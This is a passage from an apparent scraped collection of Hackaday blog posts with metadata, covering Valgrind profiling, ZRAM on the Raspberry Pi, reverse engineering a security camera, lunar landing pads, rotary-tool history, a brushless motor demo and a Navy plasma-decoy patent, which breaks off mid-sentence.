"massif",
"software development",
"valgrind"
] | What is the right time to optimize code? This is a very good question, which usually comes down to two answers. The first answer is to have a good design for the code to begin with, because ‘optimization’ does not mean ‘fixing bad design decisions’. The second answer is that it should happen after the application has been sufficiently debugged and its developers are at risk of getting bored.
There should also be a goal for the optimization, based on what makes sense for the application. Does it need to process data faster? Should it send less data over the network or to disk? Shouldn’t one really have a look at that memory usage? And just what is going on inside those CPU caches that makes performance sometimes drop off a cliff on a single core?
All of this and more can be analyzed using tools from the Valgrind suite, including Cachegrind, Callgrind, DHAT and Massif.
Keeping Those Cores Cool
Modern day processors are designed with low power usage in mind, regardless of whether they are aimed at servers, desktop systems or embedded applications. This essentially means that they are in a low power state when not doing any work (idle loop), with some CPUs and microcontrollers turning off power to parts of the chip which are not being used. Consequently, the more the processor has to do, the more power it will use and the hotter it will get.
Code that needs fewer instructions to perform the same task due to a more efficient algorithm or fewer abstractions not only runs cooler, but also faster. This means that for the user, the experience is that not only does the task complete faster, but the device also gets less hot, with less fan noise. If it is battery powered, the battery will also last longer with a single charge. Basically everyone will be happier.
The weapons of choice here are
Cachegrind
and
Callgrind
. Although heap profiling (covered later in this article) can also be useful for power saving, the main focus should be on the processor. This means that we need to know what our code is doing, especially in terms of what parts of our code run most often, as those would be prime targets for optimization.
Track and Trace Those Calls
Running Cachegrind and Callgrind is quite uncomplicated. One simply passes the executable name and any flags it needs to Valgrind along with the tool you wish to use:
$ valgrind --tool=callgrind my_program
This command would start the Callgrind tool for our program called
my_program
. Optionally, we can also have Callgrind simulate the CPU caches with
--simulate-cache=yes
. While running, Callgrind generates an output file called
callgrind.out.<pid>
, where
<pid>
is the process ID of the application while it was running. This file is then converted to a human-readable format:
$ callgrind_annotate callgrind.out.<pid> > callgrind00.txt
This produces a file that contains (among other things) a function call summary, ranked by how long execution spent in that particular function, making it obvious that a lot of speed could be gained if that function were to be optimized.
As explained in
this article
over at Stanford, the use of cache simulation adds details on cache hit/misses:
Ir
: I cache reads (instructions executed)
I1mr
: I1 cache read misses (instruction wasn’t in I1 cache but was in L2)
I2mr
: L2 cache instruction read misses (instruction wasn’t in I1 or L2 cache, had to be fetched from memory)
Dr
: D cache reads (memory reads)
D1mr
: D1 cache read misses (data location not in D1 cache, but in L2)
D2mr
: L2 cache data read misses (location not in D1 or L2)
Dw
: D cache writes (memory writes)
D1mw
: D1 cache write misses (location not in D1 cache, but in L2)
D2mw
: L2 cache data write misses (location not in D1 or L2)
Seeing a large number of cache misses in an algorithm or loop would be a strong hint to optimize it to take up less data in the cache, employ prefetching to prevent cache misses, or take other measures applicable to the code in question.
Using Cachegrind is fairly similar to Callgrind, except that Cachegrind focuses on CPU caches first and foremost, with function calls a secondary concern. This should make it obvious which tool to pick of these two, depending on one’s most pressing questions.
Doing More with Less Memory
Even though computers and even microcontrollers often come with more memory in the form of caches and main system memory (RAM) than a developer in the 1990s could even begin to dream of, there are two negatives that relate to RAM:
RAM isn’t infinite; at some point heap space will run out. Best case, it’s just your application getting terminated by the OS, not the entire OS (or RTOS) bailing out and causing a cascade of faults throughout the system.
Active RAM costs power. Each part of a dynamic RAM (DRAM) module has to be constantly refreshed in order for the capacitive charges that store the value to be retained. Is becomes an especially important issue for battery-powered devices.
Reducing the amount of memory used does not only affect the system RAM, but also helps with the caches between the CPU’s processing units and RAM. Less data means fewer cache misses and fewer delays as the memory subsystem scrambles to move the requested data from RAM into the L3, L2 and (usually) the L1 cache.
Although a beefy Xeon or Epyc server processors tend to have a healthy 128 MB of L3 cache (or more), a commonly used ARM processor such as the one in the Raspberry Pi 3 (the BCM2837 SoC)
has 16 kB L1 cache for data and instructions each,
as well 512 kB L2 cache. There is no L3 cache here. Unless your application uses less than 512 kB memory in total (stack and heap), system RAM will be hit regularly, which will heavily affect the application’s performance.
One distinction to make here is that every application tends to have data stored in RAM — whether on the heap or the stack — that may get accessed regularly or only occasionally. Using Valgrind’s
Massif
and
DHAT
tools it’s fairly easy to figure out the usage patterns of this data on the heap, as well as which data doesn’t need to be stored at all any more.
Running the Numbers
Massif is the easiest to use of these two tools, all it takes is a single call on the command line:
$ valgrind --tool=massif my_program
This will run the application and output to the file
massif.out.<pid>
, where <pid> is the process ID of the application as it was being executed. Before we can use this data which Massif gathered, we first have to process it:
$ ms_print massif.out.<pid> > massif00.txt
This will direct the output from the ms_print utility to a file with the details in a human-readable form. It contains a graph of heap usage over time, like this example from the Massif documentation:
MB
3.952^ #
| @#:
| :@@#:
| @@::::@@#:
| @ :: :@@#::
| @@@ :: :@@#::
| @@:@@@ :: :@@#::
| :::@ :@@@ :: :@@#::
| : :@ :@@@ :: :@@#::
| :@: :@ :@@@ :: :@@#::
| @@:@: :@ :@@@ :: :@@#:::
| : :: ::@@:@: :@ :@@@ :: :@@#:::
| :@@: ::::: ::::@@@:::@@:@: :@ :@@@ :: :@@#:::
| ::::@@: ::: ::::::: @ :::@@:@: :@ :@@@ :: :@@#:::
| @: ::@@: ::: ::::::: @ :::@@:@: :@ :@@@ :: :@@#:::
| @: ::@@: ::: ::::::: @ :::@@:@: :@ :@@@ :: :@@#:::
| @: ::@@:::::: ::::::: @ :::@@:@: :@ :@@@ :: :@@#:::
| ::@@@: ::@@:: ::: ::::::: @ :::@@:@: :@ :@@@ :: :@@#:::
| :::::@ @: ::@@:: ::: ::::::: @ :::@@:@: :@ :@@@ :: :@@#:::
| @@:::::@ @: ::@@:: ::: ::::::: @ :::@@:@: :@ :@@@ :: :@@#:::
0 +----------------------------------------------------------------------->Mi
0 626.4
Number of snapshots: 63
Detailed snapshots: [3, 4, 10, 11, 15, 16, 29, 33, 34, 36, 39, 41,
42, 43, 44, 49, 50, 51, 53, 55, 56, 57 (peak)]
The graph shows KDE’s Konquerer web browser as it’s started and run for a while. The vertical axis shows the heap usage (in megabytes), and the horizontal axis the number of instructions that have been executed since the application was launched. This way one can get an idea what heap usage looks like, with each of the slices in the graph detailed further in the file, e.g.:
--------------------------------------------------------------------------------
n time(B) total(B) useful-heap(B) extra-heap(B) stacks(B)
--------------------------------------------------------------------------------
15 21,112 19,096 19,000 96 0
16 22,120 18,088 18,000 88 0
17 23,128 17,080 17,000 80 0
18 24,136 16,072 16,000 72 0
19 25,144 15,064 15,000 64 0
20 26,152 14,056 14,000 56 0
21 27,160 13,048 13,000 48 0
22 28,168 12,040 12,000 40 0
23 29,176 11,032 11,000 32 0
24 30,184 10,024 10,000 24 0
99.76% (10,000B) (heap allocation functions) malloc/new/new[], --alloc-fns, etc.
->79.81% (8,000B) 0x80483C2: g (example.c:5)
| ->39.90% (4,000B) 0x80483E2: f (example.c:11)
| | ->39.90% (4,000B) 0x8048431: main (example.c:23)
| |
| ->39.90% (4,000B) 0x8048436: main (example.c:25)
|
->19.95% (2,000B) 0x80483DA: f (example.c:10)
| ->19.95% (2,000B) 0x8048431: main (example.c:23)
|
->00.00% (0B) in 1+ places, all below ms_print's threshold (01.00%)
The first column is the slice number, with detailed slices being expanded, showing the percentage of heap space being taken up by specific data in the heap, as well as where in the code it was allocated. Obviously it is required to compile the application with debug symbols included (-g option for GCC) to get the most out of this functionality.
The use of DHAT is similar to Massif, though it outputs to a JSON format, requiring the browser-based viewer (
dh_view.html
) to actually analyze the data. DHAT can provide more detailed information about the allocated data in the heap than Massif, including things like allocations which are never fully used. Whether this is necessary depends on what kind of optimizations one desires.
Keep That Toolbox Filled
After previously looking at
the other commonly used tools
in the Valgrind suite, you should have a pretty good idea of when to use Valgrind to assist in debugging and optimization efforts. Although they are all incredibly useful tools, they are not the end all and be all of debugging analysis tools. As every experienced developer knows, what counts is knowing when to use each approach.
Sometimes all one needs is a simple debugger or solid logging inside the application to shake out the most serious issues. Only when that doesn’t help is it time to start breaking out the heavier tools, with the cautionary warning that with powerful tools comes great responsibility in interpreting the data. The experience and knowledge to make the right decisions and draw the right conclusions is as essential a tool as any other. | 27 | 12 | [
{
"comment_id": "6246992",
"author": "Severe Tire Damage",
"timestamp": "2020-05-20T17:37:51",
"content": "Most/Much code simply doesn’t need to be optimized.That which does can often have the biggest improvements by major strategy changes, but sometimes hair splitting optimization can have benefits... | 1,760,373,484.166695 | ||
https://hackaday.com/2020/05/20/dont-trust-your-ears-for-the-freshest-chips/ | Don’t Trust Your Ears For The Freshest Chips | Brian McEvoy | [
"cooking hacks"
] | [
"Charles Spence",
"food",
"illusion",
"junk food",
"perception",
"potato chips",
"pringles",
"snacks",
"sonic",
"Sonic Chip",
"trick"
] | We hear fables of how to restore the crispness to your crisp and the crackle to your crackers, but they are more hot air than some of the methods. We found one solution that has some teeth though, and it doesn’t require any kitchen appliances, just a pair of headphones. Keep reading before you mash potato chips into your Beats. [
Charles Spence
] co-authors a paper with [
Massimiliano Zampini
] titled
The Role of Auditory Cues in Modulating the Perceived Crispness and Staleness of Potato Chips
. It’s a mouthful, so folks refer to it as the “Sonic Chip Experiment,” which rolls off the tongue. The paper is behind paywalls, but you can find it if you know where to look.
The experiment puts participants in some headphones while they eat Pringles, and researchers feed them different sound waves. Sometimes the sound file is a recording of crackly chewing, and other times it is muffled mastication. The constant was the Pringles, which are a delight for testing because they are uniform. Participants report that some chips are fresher than others. This means we use our ears to help judge consumable consistency. Even people who knew all about the experiment report they can willingly fool themselves with the recordings.
What other foods would benefit from the augmented crunch, and which ones would suffer? If shapely food is your jam, we have a
holy cookie
which is probably best enjoyed with your eyes. If you prefer your
Skittles organized by color
, we have you covered.
Image by
Lothar Wandtner
. | 11 | 6 | [
{
"comment_id": "6246964",
"author": "Ren",
"timestamp": "2020-05-20T15:46:02",
"content": "A soundtrack for eating chips?Beats for your eats?Your opening paragraph of puns left me starving for any witty response!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id"... | 1,760,373,484.269114 | ||
https://hackaday.com/2020/05/20/masten-moon-rocket-has-landing-pad-will-travel/ | Masten Moon Rocket Has Landing Pad, Will Travel | Tom Nardi | [
"Engineering",
"Featured",
"Original Art",
"Slider",
"Space"
] | [
"apollo",
"Artemis",
"lander",
"Masten",
"Masten Space Systems",
"moon",
"nasa",
"rocket engine"
] | Because of the architecture used for the Apollo missions, extended stays on the surface of the Moon weren’t possible. The spartan Lunar Module simply wasn’t large enough to support excursions of more than a few days in length, and even that would be pushing the edge of the envelope. But then the Apollo program was never intended to be anything more than a proof of concept, to demonstrate that humans could make a controlled landing on the Moon and return to Earth safely. It was always assumed that more detailed explorations would happen on later missions with more advanced equipment and spacecraft.
Now NASA hopes that’s finally going to happen in the 2020s as part of its Artemis program. These missions won’t just be sightseeing trips, the agency says they’re returning with the goal of building a sustainable infrastructure on and around our nearest celestial neighbor. With a space station in lunar orbit and a permanent outpost on the surface, personnel could be regularly shuttled between the Earth and Moon similar to how crew rotations are currently handled on the International Space Station.
Artemis lander concept
Naturally, there are quite a few technical challenges that need to be addressed before that can happen. A major one is finding ways to safely and accurately deliver multiple payloads to the lunar surface. Building a Moon outpost will be a lot harder if all of its principle modules land several kilometers away from each other, so NASA is partnering with commercial companies to develop crew and cargo vehicles that are capable of high precision landings.
But bringing them down accurately is only half the problem. The Apollo Lunar Module is by far the largest and heaviest object that humanity has ever landed on another celestial body, but it’s absolutely dwarfed by some of the vehicles and components that NASA is considering for the Artemis program. There’s a very real concern that the powerful rocket engines required to gracefully lower these massive craft to the lunar surface might kick up a dangerous cloud of high-velocity dust and debris. In extreme cases, the lander could even find itself touching down at the bottom of a freshly dug crater.
Of course, the logical solution is to build hardened landing pads around the Artemis Base Camp that can support these heavyweight vehicles. But that leads to something of a “Chicken and Egg” problem: how do you build a suitable landing pad if you can’t transport large amounts of material to the surface in the first place? There are a few different approaches being considered to solve this problem, but certainly one of the most interesting among them is the idea proposed by Masten Space Systems. Their experimental technique would allow a rocket engine to
literally build its own landing pad by spraying molten aluminum as it approaches the lunar surface
.
Practice Makes Perfect
While Masten might not be a household name, they aren’t exactly neophytes when it comes to landing rockets. In fact, it’s their specialty. Founded in 2004, the company has been working on a series of increasingly powerful vertical-takeoff, vertical-landing (VTVL) vehicles that have cumulatively performed over 600 flights. The latest version, the XL-1,
has been selected as part of NASA’s Lunar CATALYST program
to deliver multiple payloads to the Moon’s South Pole by 2022.
After more than a decade of developing rocket-powered landers in the Mojave Desert, Masten is well aware of the dangers posed by the high velocity ejecta that gets kicked up right before touchdown. They’ve found that the easiest solution is to simply add enough shielding to the bottom of the craft that soil and rocks will bounce off without doing any damage. But it doesn’t scale well, as every bit of shielding you add to the vehicle reduces its useful payload capacity.
Besides, even if you armor the lander to the point that ejected materials wouldn’t cause it any damage, it would still be boring a hole into the ground on each landing. It would still endanger nearby vehicles and structures as well; a serious problem for all but the very first missions. Because of this, Masten started researching the way the lunar surface will behave when exposed to the force of their landing engines.
It’s impossible to completely simulate lunar conditions here on Earth, as there’s no way to reduce the effect of gravity on the material blown out by the rocket’s exhaust. But their terrestrial testing was enough to convince them that they should start investigating different ways to combat the issue.
Instant Landing Pad, Just Add Heat
Masten’s concept is called the FAST, or the in-Flight Alumina Spray Technique. To use FAST, the lander would descend to within a few meters of the Moon’s surface and go into a controlled hover. Aluminium oxide (also known as alumina) pellets would then be injected into the rocket’s exhaust, where they are melted and ejected downwards. Once the alumina hits the lunar regolith, it combines with the loose material and behinds to cool and solidify.
By slowly moving over the landing site, the engine can deposit a thick enough layer of molten alumina to create a custom landing pad of whatever dimensions are required. After its completely hardened, the Masten proposal says it should have sufficient thermal and abrasion resistance for the vehicle to complete its decent without kicking up any dust or forming a crater.
Or at least, that’s the idea. Injecting solid particles into the exhaust plume of a running rocket engine is relatively unexplored territory, and it will be interesting to see what Masten finds. Will adjustments will be required to maintain stable thrust during the hover maneuver? Is there a risk that the alumina might build up inside the engine? Could it clog the engine so that relighting it becomes impossible?
The company says they will spend the next nine months researching these questions, and likely many more, before making a final decision about whether or not the technology is worth pursuing for the Artemis program. Even if it’s not ready in time for the 2022 – 2024 landings that NASA says will be
the first steps towards a sustainable program of lunar exploration
, the company believes the idea could still be used when the agency turns its attention to Mars in the 2030s and beyond. | 65 | 19 | [
{
"comment_id": "6246940",
"author": "Joseph Eoff",
"timestamp": "2020-05-20T14:21:46",
"content": "Arthur C. Clarke knew that getting the freight rockets to land where you wanted them on the moon would be tricky, way back in 1956.“Robin Hood FRS” tells the story of what happens when an automated f... | 1,760,373,484.470866 | ||
https://hackaday.com/2020/05/20/zram-boosts-raspberry-pi-performance/ | ZRAM Boosts Raspberry Pi Performance | Al Williams | [
"Linux Hacks",
"Raspberry Pi"
] | [
"linux",
"swap file",
"virtual memory",
"zram"
] | Linux is a two-edged sword. On the one hand, there’s so much you can configure. On the other hand, there’s so much you can configure. It is sometimes hard to know just what you should do to get the best performance, especially on a small platform like the Raspberry Pi. [Hayden James] has a suggestion: enable
ZRAM
and tweak the kernel to match.
Although the post focuses on the Raspberry Pi 4, it applies to any Linux system that has limited memory including older Pi boards. The idea is to use a portion of main memory as a swap file. At first, that might seem like a waste since you could use that memory to, you know, actually run programs. However, the swap devices are compressed, so you get more swap space and transfers from these compressed swap devices and main memory are lightning-fast compared to a hard drive or solid state disk drive.
In addition to turning on the RAM-based swap, it is important to tune the kernel to make more use of swap now that it is relatively fast. The suggested settings change the following system parameters:
vm.vfs_cache_pressure
– Increase the frequency of clearing file caches to free more memory.
vm.swappiness
– Make the kernel more likely to use swap. Note that the ZRAM swap will have a higher priority than slower swap files.
vm.dirty_background_ratio
– Allow a specified amount of memory pages to be dirty before writing to swap.
vm.dirty_ratio
– Absolute limit on dirty pages before I/O starts blocking until the dirty pages are written out.
Of course, these parameters may or may not do the best thing for your setup, so you might want to experiment a bit. Look inside
/proc/vmstat
if you want to learn more about how many dirty pages you have, among other things.
That’s the nice thing about Linux. You can change things, see what’s happening, and change them again if you like. If you want more insight into your system’s operation with htop, you’ll want to
read up on that program
. This kind of technique is just the thing for those tiny
Linux systems
. | 18 | 8 | [
{
"comment_id": "6246889",
"author": "zoobab",
"timestamp": "2020-05-20T11:21:54",
"content": "I used zram in the Docker contest to run as many containers as possible on a Pi.I guess Armbian has Zram activated by default:https://forum.armbian.com/topic/12526-zram-swap-where-is-my-memory/",
"pare... | 1,760,373,484.367014 | ||
https://hackaday.com/2020/05/20/poking-around-inside-of-a-linux-security-camera/ | Poking Around Inside Of A Linux Security Camera | Tom Nardi | [
"digital cameras hacks",
"Software Development",
"Software Hacks"
] | [
"firmware hacking",
"proprietary",
"reverse engineering",
"rtsp",
"security camera"
] | This deep dive into the Linux-powered Reolink B800 IP camera
started because of a broken promise from its manufacturer. When [George Hilliard] purchased a kit that included six of the cameras and a video recorder, the website said they were capable of outputting standard RTSP video. But once he took delivery of the goods, and naturally after his return window had closed, the site was updated to say that the cameras can
only
function with the included recorder.
Taking that as something of challenge, [George] got to work. His first big break came when he desoldered the camera’s SPI flash chip and replaced it with a socket. That allowed him to easily take the chip out of the device for reading and flashing as he tinkered with modifying the firmware. After adding cross-compiled versions of
busybox
,
gdb
, and
strace
to the extracted firmware, he bundled it back up and flashed it back to the hardware.
If you think that’s the end of the story, it isn’t. In fact, it’s just the beginning. While getting root-level access to the camera’s OS would have potentially allowed for [George] to dump all the proprietary software it was running and replace it with open alternatives, he decided to take a different approach.
Instead of replacing the camera’s original software, he used his newly granted root powers to analyze it and figure out how it worked. This allowed for to sniff out some very suspect “encryption” routines built into the software, and eventually write his own server side in Rust that finally allowed him to use the cameras with his own server…albeit with a
bit
more work than he bargained for.
Projects like these are a
fantastic look at real world reverse engineering
, and a reminder that sometimes achieving your ultimate goal means taking the long way around. Even if you’re not in the market for a hacked security camera, there’s no doubt that reading the thorough write-up [George] has prepared will teach you a few things. But of course, we’d expect no less
from a guy who runs Linux on his business card
. | 21 | 8 | [
{
"comment_id": "6246875",
"author": "oliver",
"timestamp": "2020-05-20T08:39:30",
"content": "While kudos for using the existing software, and I do get the effort and pain of using your own software, it is sad to see a mother propriatery piece not being liberated. It would have been much nicer to h... | 1,760,373,484.223843 | ||
https://hackaday.com/2020/05/18/a-french-cleat-twist-on-electronics-bench-organization/ | A French Cleat Twist On Electronics Bench Organization | Dan Maloney | [
"Misc Hacks"
] | [
"french cleat",
"miter",
"organization",
"Shaper Origin",
"shop",
"tools",
"woodworking"
] | For some of us, our workbench is where organization goes to die. Getting ready to tackle a new project means sweeping away a pile of old projects, exposing exactly as much bench space needed to plop down the new parts. On the other end of the spectrum lie those for whom organization isn’t a means to an end, but an end itself. Their benches are spotless, ready to take on a new project at a moment’s notice.
[Eric Gunnerson]’s new
French-cleat electronics bench
is somewhere in between those two extremes, although nowhere near as over-organized as the woodworking organizer that inspired it. If you’ve never heard of a French cleat, Google around a bit and you’ll see
some amazing shops
where the system of wall-mounted, mitered cleats with mating parts on everything from shelves to cabinets are put to great use. A properly built French cleat can support tremendous loads; [Eric]’s system is scaled down a bit in deference to the lighter loads typically found in the electronics shop. His cleats are 2″ x 3″ pieces of pine, attached to a sheet of plywood that was then screwed to the wall. His first pass at fixtures for the cleats used
a Shaper Origin CNC router
, but when that proved to be slow he turned to laser-cut plywood. The summary video below shows a few of the fixtures he’s come up with so far; we particularly like the oscilloscope caddy, and the cable hangers are a neat trick too.
What we like about this is the flexibility it offers, since you can change things around as workflows develop or new instruments get added. Chalk one up for [Eric] for organization without overcomplication.
https://www.youtube.com/watch?v=N-mcPdhuC84 | 38 | 11 | [
{
"comment_id": "6246479",
"author": "forty-2",
"timestamp": "2020-05-18T18:54:31",
"content": "Love it! Though I think I have a few too many 80 lb, 2 foot deep oscilloscopes for this approach.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6246482",
... | 1,760,373,484.674621 | ||
https://hackaday.com/2020/05/18/old-school-rotary-tools-that-werent-made-by-dremel/ | Old School Rotary Tools That Weren’t Made By Dremel | Al Williams | [
"Hackaday Columns",
"History",
"Slider",
"Tool Hacks"
] | [
"dremel",
"handee",
"moto-tool",
"rotary tool"
] | Albert Dremel developed the now famous rotary tool and started the company in 1932 to make blade sharpeners. It would be 1935 before the company produced the Moto-Tool which is mostly recognizable as an ancestor of the modern Dremel.
Dremel achieved such dominance that today the name is synonymous with rotary tools in the same way Xerox means photocopy and Crock-Pot is any slow cooker. Sure, there are knock offs you can get from the usual cheap tool outlets, but generally, people reach for a Dremel even when it isn’t really one. Today that tool might really be a Black and Decker or a Dewalt or even a cheap brand like Wen or Chicago Electric. But in the first half of the 20th century, you might have reached for a Handee.
A Whole Shop Full of Tools
The Handee was a product of the Chicago Wheel and Manufacturing Company who, in 1937, billed it as “a whole shop full of tools in one,” as you can see in this ad. While $10.75 might sound like a price for a Harbor Freight cheapie tool, adjusted for inflation that’s around $200 in 2020 money. At least for that price you got three free accessories out of the over 200 available.
I didn’t remember the Handee and I wanted to see if I could figure out what happened to it and the company who made it. After all, with the Internet at your disposal, how hard could it be? Turns out, I did learn a lot, but in the end, tracing down a company like this from the old days isn’t always as easy as you might think.
The tool seems to have a long history and I’d later learn they claimed to make them since 1933. The 13,000 RPM of the 1937 model is pretty respectable. (A modern Dremel ranges from 3,000 to 37,000 RPM.) By 1952,
the tool was up to 25,000 RPM
and came with 51 accessories for $27.50 (about $270 today).
They
show up some on sites like eBay
, so it would appear they were pretty common in their day. Also, the prices indicate there is an ample supply or — perhaps — not much demand.
Old Money
Tracking down the origins of a company like this can be tricky. Volume 76 of “Iron and Steel” reports:
The Chicago Wheel & Manufacturing Company…manufacturers of corundum and emery carborundum wheels, etc. advise us that the business of the year 1899 surpassed that of any year since they started business. Mr. Miller recently bought out the interst of Mr. Snider, who had long been associated with him.
So you can surmise that the company had been around since 1898 or probably earlier, depending on their penchant for hyperbole.
However, that little bit gave me something to look up in the “The Book of Chicagoans” from 1911. The Mr. Miller in question was Henry Edward Miller. He became a manager of the Chicago Corundum Wheel Company in 1888. In 1895 he and four partners bought the business and changed the name.
Where Are They Now?
The last reference I can find to the Chicago Wheel and Manufacturing Company is in an article in a
1967 Popular Mechanics
. The last ad I can find was in a
1966 edition of the same
. The Handee — “the ideal gift” — cost $26 and went up to 28,000 RPM. That ad claimed the tool had been made since 1933. It makes you wonder if Dremel, founded in 1932, had seen their tool or vice versa since they were starting at about the same time.
When you look through old magazines, you have to wonder what happened to all those companies, especially one like this that seemed to be a pretty big concern. You like to think everything is on the Internet, but in this case, there’s very little trail left of this company. Sure, we can point at a few addresses they kept over the years, and trace their ads in a few magazines, but that’s about it.
Did the company get sold? Go out of business? Maybe a Hackaday reader knows the whole story. Or, if you had a Handee, tell us about it in the comments. Meanwhile, if you want to upgrade your cheap Dremel knock off,
go ahead
. Or
build your own
, but beware: getting some motors over 12,000 RPM is going to take more than the provided 7.4V.
If this piqued your interest in old school tools, one of the pages that you’ll want to spend some time on is
http://www.flamingsteel.com/my-vintage-tool-collection.php
. This is
where the main image for this article comes from
, and is packed with vintage tools going way back. | 58 | 26 | [
{
"comment_id": "6246462",
"author": "Tom Brusehaver",
"timestamp": "2020-05-18T17:16:01",
"content": "When I was in high school, I worked for my dad at a place that was a factory service center for Rodac tools. Many of Rodac tools were knockoffs of Chicago Pneumatic tools. The two companies compete... | 1,760,373,484.605507 | ||
https://hackaday.com/2020/05/18/animatronics-hack-chat/ | Animatronics Hack Chat | Dan Maloney | [
"Hackaday Columns"
] | [
"animatronic",
"anthropomorhic",
"automaton",
"robot",
"servo",
"The Hack Chat"
] | Join us on Wednesday, May 20 at noon Pacific for the
Animatronics Hack Chat
with Will Cogley!
While robots have only a made a comparatively recent appearance on the technology timeline, people have been building mechanical simulations of living organisms for a long time indeed. For proof, one needs only to look back at the automatons built by clever craftsmen to amuse and delight their kings and queens. The clockwork mechanisms that powered fanciful birds and animals gave way to the sophisticated dolls and mannequins that could perform complex tasks like writing and performing music, all with the goal of creating something that looked and acted like it was alive.
Once the age of electronics came around, the springs that drove the early automatons and the cams that programmed their actions were replaced by motors and control circuits. New materials made once-clunky mechanisms finer and more precise, sensors and servos made movements more lifelike, and the age of animatronics was born.
Animatronics have since become a huge business, mostly in the entertainment industry. From robotic presidents to anachronistic dinosaurs to singing rodents designed to sell pizza, animatronics have been alternately entertaining and terrifying us for decades. The fact that they’re not “real” robots doesn’t make the melding of mechanical, electrical, and computer systems into a convincing representation of a real being any less challenging. Will Cogley has more than a few amazing animatronic designs under his belt, some of which we’ve featured on Hackaday. From
hearts
to
hands
to
slightly terrifying mouths
, Will puts a ton of work into his mechanisms, and he’ll stop by the Hack Chat to tell us all about designing and building animatronics.
Our Hack Chats are live community events in the
Hackaday.io Hack Chat group messaging
. This week we’ll be sitting down on Wednesday, May 20 at 12:00 PM Pacific time. If time zones have got you down, we have
a handy time zone converter
.
Click that speech bubble to the right, and you’ll be taken directly to the Hack Chat group on Hackaday.io. You don’t have to wait until Wednesday; join whenever you want and you can see what the community is talking about. | 4 | 2 | [
{
"comment_id": "6246598",
"author": "R",
"timestamp": "2020-05-19T06:56:10",
"content": "Who does your poster designs? They’re incredible.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6246612",
"author": "Elliot Williams",
"timestamp": "20... | 1,760,373,484.511174 | ||
https://hackaday.com/2020/05/18/take-a-3d-printed-brushless-motor-demo-for-a-spin/ | Take A 3D Printed Brushless Motor Demo For A Spin | Al Williams | [
"3d Printer hacks"
] | [
"BLDC",
"brushless motor",
"motor"
] | It used to be a staple of junior high physics class to build some sort of motor with paperclips or wire. A coil creates a magnetic field that makes the rotor move. In the process of moving, brushes that connect the coil to the rest of the circuit will reverse its polarity and change the magnetic field to keep the rotor turning. However, brushless motors work differently. The change in magnetic field comes from the drive controller, not from brushes. If you want to
build that model
, [Rishit] has you covered. You can see his 3D printed model brushless motor running in the video below.
Usually, you have a microcontroller determining how to drive the electromagnets. However, this model is simpler than that. There are two permanent magnets mounted to the shaft. One magnet closes a reed switch to energize the coil and the other magnet is in position for the coil to attract it, breaking the current. As the shaft turns, eventually the second magnet will trip the reed switch, and the coil will attract the first magnet. This process repeats over and over.
Granted, a real brushless motor may have more coils and may reverse the magnetic field instead of turning it off, but this simple demonstrator shows the basic idea of how a motor with no brushes can spin. The reed switch (or Hall effect sensor) also provides tachometry feedback that you could use to control the motor’s speed with the right control circuit or software. The 3D-printed parts make for a neat appearance. You do need a bearing and some wire. There’s also an optional on/off switch.
If you don’t have a bearing handy, we’ve seen
fidget spinners
used for this sort of thing. Now that they have passed into the realm of historical fads, you can get them very cheaply. If you want a look inside some real brushless motors, you can
see one being rebuilt
. You might also be interested in looking at a
real motor electrically
. | 9 | 5 | [
{
"comment_id": "6246495",
"author": "Gravis",
"timestamp": "2020-05-18T20:02:07",
"content": "Yeah… that’s definitely not what I was expecting from “brushless motor”.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6246496",
"author": "glensketch",
"ti... | 1,760,373,484.797845 | ||
https://hackaday.com/2020/05/18/plasma-ghosts-may-help-keep-future-aircraft-safe/ | Plasma “Ghosts” May Help Keep Future Aircraft Safe | Tom Nardi | [
"Engineering",
"Featured",
"Original Art",
"Slider",
"Weapons Hacks"
] | [
"countermeasures",
"cruise missile",
"fighter jet",
"flare",
"missile",
"stealth",
"US Navy"
] | Air-to-air combat or “dogfighting” was once a very personal affair. Pilots of the First and Second World War had to get so close to land a hit with their guns that it wasn’t uncommon for altercations to end in a mid-air collision. But by the 1960s, guided missile technology had advanced to the point that a fighter could lock onto an enemy aircraft and fire before the target even came into visual range. The skill and experience of a pilot was no longer enough to guarantee the outcome of an engagement, and a new arms race was born.
An F-15 launching flare countermeasures.
Naturally, the move to guided weapons triggered the development of defensive countermeasures that could confuse them. If the missile is guided by radar, the target aircraft can eject a cloud of metallic strips known as chaff to overwhelm its targeting system. Heat-seeking missiles can be thrown off with a flare that burns hotter than the aircraft’s engine exhaust. Both techniques are simple, reliable, and have remained effective after more than a half-century of guided missile development.
But they aren’t perfect. The biggest problem is that both chaff and flares are a finite resource: once the aircraft has expended its stock, it’s left defenseless. They also only work for a limited amount of time, which makes timing their deployment absolutely critical. Automated dispensers can help ensure that the countermeasures are used as efficiently as possible, but sustained enemy fire could still deplete the aircraft’s defensive systems if given enough time.
In an effort to develop the ultimate in defensive countermeasures, the United States Navy has been working on a system that can project decoy aircraft in mid-air.
Referred to as “Ghosts” in the recently published patent
, several of these phantom aircraft could be generated for as long as the system has electrical power. History tells us that the proliferation of this technology will inevitably lead to the development of an even more sensitive guided missile, but in the meantime, it could give American aircraft a considerable advantage in any potential air-to-air engagements.
Looking the Part
At first blush, the idea sounds like something from science fiction. Volumetric holograms projected into thin air have been the Holy Grail of display technology for decades, and the idea that the Navy has developed the concept far enough that they can bolt it to the back of an aircraft might come as something of a shock. But the important distinction here is that the projection isn’t trying to fool human eyes. It’s probably best to think of the projection as a solid-state replacement to the traditional flare: the idea is create a mass of plasma in the air that is emitting enough energy at the appropriate wavelengths that it would distract from the physical aircraft it’s being projected from.
Illustration from the Navy’s patent application
But that doesn’t necessarily mean the projection will be an amorphous blob, either. The patent specifically mentions that the system’s 248 nm krypton fluoride (KrF) laser could be paired with mirrors and raster optics to create 2D and 3D volumetric images in space. It goes on to compare the technique with the way images were drawn with a scanning electron beam in a cathode-ray tube television.
So while the projection wouldn’t visibly resemble an actual aircraft, it could be given a three dimensional shape to better approximate a jet engine or fuselage. This is a critical improvement over traditional countermeasures, as more advanced guided missiles such as the AIM-132 now include thermal imaging technology that can differentiate between a hot “point source” like a flare and the more nuanced shape of an aircraft.
Laser Light Show
As it so happens, the technology to project relatively simple geometric shapes in the air with a laser isn’t exactly new. A Japanese company demonstrated using laser-induced plasma balls as “pixels” in a rudimentary display as early as 2011, with plans to use it for advertisements and emergency notifications. While the technology offered limited resolution, it was more than sufficient to draw shapes and text that were visible even in daylight.
The concept is also very similar to a
